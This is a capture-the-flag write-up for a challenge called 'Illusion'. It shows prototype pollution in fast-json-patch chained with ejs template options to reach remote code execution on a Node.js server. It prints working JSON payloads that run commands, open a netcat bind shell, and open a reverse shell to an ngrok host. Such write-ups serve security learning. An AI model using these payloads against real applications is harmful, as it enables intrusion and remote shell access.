Illusion

JavaScript Prototype Injection

Problem

Laura just found a website used for monitoring security mechanisms on Rhiza's state and is planning to hack into it to forge the status of these security services. After that she will deactivate these security resources without alerting government agents. Your goal is to get into the server to change the monitoring service behaviour.

13KB

illusion_06437ee23c69c151e8e416c02b82d5b20e145c150c0109960b3b85f8c0f8a210.tar.gz

Illusion

Solution

First, let's analyse the source code.

Here, we see that for testing locally, we should use admin:admin as the basic authentication credentials.

app.use(basicAuth({
    users: { "admin": process.env.SECRET || "admin" },
    challenge: true
}))

We come across an interesting functionality of the app. When POST-ing JSON to the /change_status endpoint, the fast-json-patch package is used to modify the services object.

const jsonpatch = require('fast-json-patch')

...

// API
app.post("/change_status", (req, res) => {

    let patch = []

    Object.entries(req.body).forEach(([service, status]) => {

        if (service === "status"){
            res.status(400).end("Cannot change all services status")
            return
        }

        patch.push({
            "op": "replace",
            "path": "/" + service,
            "value": status
        })
    });

    jsonpatch.applyPatch(services, patch)

    console.log(Object.values(services))
    if ("offline" in Object.values(services)){
        services.status = "offline"
    }

    res.json(services)
})

A quick search led me to this GitHub pull request: https://github.com/Starcounter-Jack/JSON-Patch/pull/262. A prototype pollution vulnerability exists in applyPatch().

It appears that the issue is not yet fixed, even in the latest version!

For instance, if we POST the following data:

{
    "cameras": "offline",
    "doors": "offline",
    "turrets": "offline",
    "dome": "offline",
    "constructor/prototype/offline": "test",
}

Every object will now have the offline attribute. The following if statment will then evaluate to True, since the Array object will have an offline attribute as well.

if ("offline" in Object.values(services)){
    services.status = "offline"
}

But we can't really do much with this... yet. When there is a prototype injection vulnerability in server-side code, it can usually lead to serious exploits like RCE.

In this case, we can achieve RCE through exploiting the ejs module, by leveraging the constructor/prototype/outputFunctionName option in the ejs rendering function. This is quite a well known exploit: https://portswigger.net/daily-swig/prototype-pollution-bug-in-popular-node-js-library-leaves-web-apps-open-to-dos-remote-shell-attacks

For how to exploit it, here's a neat reference: https://blog.p6.is/Real-World-JS-1/

We can see that ejs is used. It is a very popular library for templating in web applications.

const ejs = require('ejs')

...

app.get("/", async (req, res) => {
    const html = await ejs.renderFile(__dirname + "/templates/index.ejs", {services})
    res.end(html)
})

Testing locally as a normal user first (the actual challenge uses a guest user), we can POST the following data to test that RCE exists:

{
    "cameras": "offline",
    "doors": "offline",
    "turrets": "offline",
    "dome": "offline",
    "constructor/prototype/offline": "test",
    "constructor/prototype/outputFunctionName": "x;console.log(1);process.mainModule.require('child_process').exec('whoami >> src/static/style.css');x"
}

This executes whoami >> src/static/style.css. We can see that in the style.css, the output is indeed reflected.

Then I ran the docker image. Note that we are provided with a readflag binary. We can run this binary and obtain the flag from the output.

Since we're a guest user, we don't have permissions to write the output to a readable file. We can try to use a bind shell instead. The following will execute nc -lvp 4444 -e /bin/sh, opening up a bind shell on port 4444.

{
    "cameras": "offline",
    "doors": "offline",
    "turrets": "offline",
    "dome": "offline",
    "constructor/prototype/outputFunctionName": "x;console.log(1);process.mainModule.require('child_process').exec('nc -lvp 4444 -e /bin/sh');x"
}

When we connect to the bind shell, we can then run the readflag binary.

Time to connect to the real server!

The bind shell didn't work, so we had to use a reverse shell instead.

First, I set up a ngrok TCP forwarder. Then, in our RCE payload, we can use the public endpoint given by ngrok to catch our reverse shell. To trigger a reverse shell, we would need to modify our RCE:

{
    "cameras": "offline",
    "doors": "offline",
    "turrets": "offline",
    "dome": "offline",
    "constructor/prototype/outputFunctionName": "x;console.log(1);process.mainModule.require('child_process').exec('nc 8.tcp.ngrok.io 17160 -e /bin/sh');x"
}

This should forward the reverse shell to our local machine, and we get the flag!